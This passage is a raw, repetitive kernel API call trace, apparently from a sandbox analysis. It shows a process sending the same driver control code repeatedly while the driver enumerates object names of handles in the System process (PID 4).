ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.949] PsAcquireProcessExitSynchronization () returned 0x0 [0110.949] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.949] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f698a0, HandleInformation=0x0) returned 0x0 [0110.949] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.949] PsReleaseProcessExitSynchronization () returned 0x2 [0110.949] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.949] ObQueryNameString (in: Object=0xfffffa8002f698a0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.949] ObfDereferenceObject (Object=0xfffffa8002f698a0) returned 0x1 [0110.949] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.949] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.949] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xde, lpOverlapped=0x0) returned 1 [0110.949] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.949] PsAcquireProcessExitSynchronization () returned 0x0 [0110.949] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.949] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f66340, HandleInformation=0x0) returned 0x0 [0110.949] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.949] PsReleaseProcessExitSynchronization () returned 0x2 [0110.949] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.949] ObQueryNameString (in: Object=0xfffffa8002f66340, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.949] ObfDereferenceObject (Object=0xfffffa8002f66340) returned 0x2 [0110.949] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.949] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.949] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0110.949] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.949] PsAcquireProcessExitSynchronization () returned 0x0 [0110.949] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.949] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f64f20, HandleInformation=0x0) returned 0x0 [0110.950] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.950] PsReleaseProcessExitSynchronization () returned 0x2 [0110.950] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.950] ObQueryNameString (in: Object=0xfffffa8002f64f20, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.950] ObfDereferenceObject (Object=0xfffffa8002f64f20) returned 0x1 [0110.950] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.950] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.950] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0110.950] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.950] PsAcquireProcessExitSynchronization () returned 0x0 [0110.950] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.950] ObReferenceObjectByHandle (in: Handle=0xffffffff800003dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80028dde80, HandleInformation=0x0) returned 0x0 [0110.950] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.950] PsReleaseProcessExitSynchronization () returned 0x2 [0110.950] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.950] ObQueryNameString (in: Object=0xfffffa80028dde80, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.950] ObfDereferenceObject (Object=0xfffffa80028dde80) returned 0x2 [0110.950] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.950] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.950] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0110.950] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.950] PsAcquireProcessExitSynchronization () returned 0x0 [0110.950] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.950] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f69480, HandleInformation=0x0) returned 0x0 [0110.950] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.950] PsReleaseProcessExitSynchronization () returned 0x2 [0110.950] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.950] ObQueryNameString (in: Object=0xfffffa8002f69480, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.951] ObfDereferenceObject (Object=0xfffffa8002f69480) returned 0x2 [0110.951] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.951] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.951] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.951] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.951] PsAcquireProcessExitSynchronization () returned 0x0 [0110.951] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.951] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031dec90, HandleInformation=0x0) returned 0x0 [0110.951] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.951] PsReleaseProcessExitSynchronization () returned 0x2 [0110.951] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.951] ObQueryNameString (in: Object=0xfffffa80031dec90, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.951] ObfDereferenceObject (Object=0xfffffa80031dec90) returned 0x1 [0110.951] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.951] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.951] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.951] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.951] PsAcquireProcessExitSynchronization () returned 0x0 [0110.951] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.951] ObReferenceObjectByHandle (in: Handle=0xffffffff800003ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031de700, HandleInformation=0x0) returned 0x0 [0110.951] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.951] PsReleaseProcessExitSynchronization () returned 0x2 [0110.951] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.951] ObQueryNameString (in: Object=0xfffffa80031de700, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.951] ObfDereferenceObject (Object=0xfffffa80031de700) returned 0x2 [0110.951] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.951] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.951] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0110.952] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.952] PsAcquireProcessExitSynchronization () returned 0x0 [0110.952] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.952] ObReferenceObjectByHandle (in: Handle=0xffffffff800003f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031f33b0, HandleInformation=0x0) returned 0x0 [0110.952] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.952] PsReleaseProcessExitSynchronization () returned 0x2 [0110.952] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.952] ObQueryNameString (in: Object=0xfffffa80031f33b0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.952] ObfDereferenceObject (Object=0xfffffa80031f33b0) returned 0x2 [0110.952] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.952] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.952] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0110.952] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.952] PsAcquireProcessExitSynchronization () returned 0x0 [0110.952] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.952] ObReferenceObjectByHandle (in: Handle=0xffffffff800003fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031de920, HandleInformation=0x0) returned 0x0 [0110.952] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.952] PsReleaseProcessExitSynchronization () returned 0x2 [0110.952] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.952] ObQueryNameString (in: Object=0xfffffa80031de920, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.952] ObfDereferenceObject (Object=0xfffffa80031de920) returned 0x1 [0110.952] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.952] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.952] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0110.952] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.952] PsAcquireProcessExitSynchronization () returned 0x0 [0110.952] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.952] ObReferenceObjectByHandle (in: Handle=0xffffffff80000404, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f649e0, HandleInformation=0x0) returned 0x0 [0110.952] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.953] PsReleaseProcessExitSynchronization () returned 0x2 [0110.953] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.953] ObQueryNameString (in: Object=0xfffffa8002f649e0, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.953] ObfDereferenceObject (Object=0xfffffa8002f649e0) returned 0x1 [0110.953] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.953] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.953] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0110.953] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.953] PsAcquireProcessExitSynchronization () returned 0x0 [0110.953] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.953] ObReferenceObjectByHandle (in: Handle=0xffffffff80000408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800bbffc60, HandleInformation=0x0) returned 0x0 [0110.953] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.953] PsReleaseProcessExitSynchronization () returned 0x2 [0110.953] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.953] ObQueryNameString (in: Object=0xfffffa800bbffc60, ObjectNameInfo=0xfffffa8003913044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8003913044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.953] ObfDereferenceObject (Object=0xfffffa800bbffc60) returned 0x1 [0110.953] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.953] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.953] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0110.953] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.953] PsAcquireProcessExitSynchronization () returned 0x0 [0110.953] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.953] ObReferenceObjectByHandle (in: Handle=0xffffffff8000040c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031f4dc0, HandleInformation=0x0) returned 0x0 [0110.953] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.953] PsReleaseProcessExitSynchronization () returned 0x2 [0110.953] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.953] ObQueryNameString (in: Object=0xfffffa80031f4dc0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.953] ObfDereferenceObject (Object=0xfffffa80031f4dc0) returned 0x2 [0110.954] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.954] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.954] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0110.954] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.954] PsAcquireProcessExitSynchronization () returned 0x0 [0110.954] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.954] ObReferenceObjectByHandle (in: Handle=0xffffffff80000410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031f38a0, HandleInformation=0x0) returned 0x0 [0110.954] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.954] PsReleaseProcessExitSynchronization () returned 0x2 [0110.954] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.954] ObQueryNameString (in: Object=0xfffffa80031f38a0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.954] ObfDereferenceObject (Object=0xfffffa80031f38a0) returned 0x2 [0110.954] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.954] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.954] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.954] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.954] PsAcquireProcessExitSynchronization () returned 0x0 [0110.954] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.954] ObReferenceObjectByHandle (in: Handle=0xffffffff80000418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031f35f0, HandleInformation=0x0) returned 0x0 [0110.954] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.954] PsReleaseProcessExitSynchronization () returned 0x2 [0110.954] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.954] ObQueryNameString (in: Object=0xfffffa80031f35f0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.954] ObfDereferenceObject (Object=0xfffffa80031f35f0) returned 0x1 [0110.954] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.954] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.954] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0110.954] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.954] PsAcquireProcessExitSynchronization () returned 0x0 [0110.955] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.955] ObReferenceObjectByHandle (in: Handle=0xffffffff8000041c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031f4850, HandleInformation=0x0) returned 0x0 [0110.955] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.955] PsReleaseProcessExitSynchronization () returned 0x2 [0110.955] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.955] ObQueryNameString (in: Object=0xfffffa80031f4850, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.955] ObfDereferenceObject (Object=0xfffffa80031f4850) returned 0x2 [0110.955] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.955] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.955] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.955] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.955] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.955] PsAcquireProcessExitSynchronization () returned 0x0 [0110.955] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.955] ObReferenceObjectByHandle (in: Handle=0xffffffff80000498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032afae0, HandleInformation=0x0) returned 0x0 [0110.955] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.955] PsReleaseProcessExitSynchronization () returned 0x2 [0110.955] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.955] ObQueryNameString (in: Object=0xfffffa80032afae0, 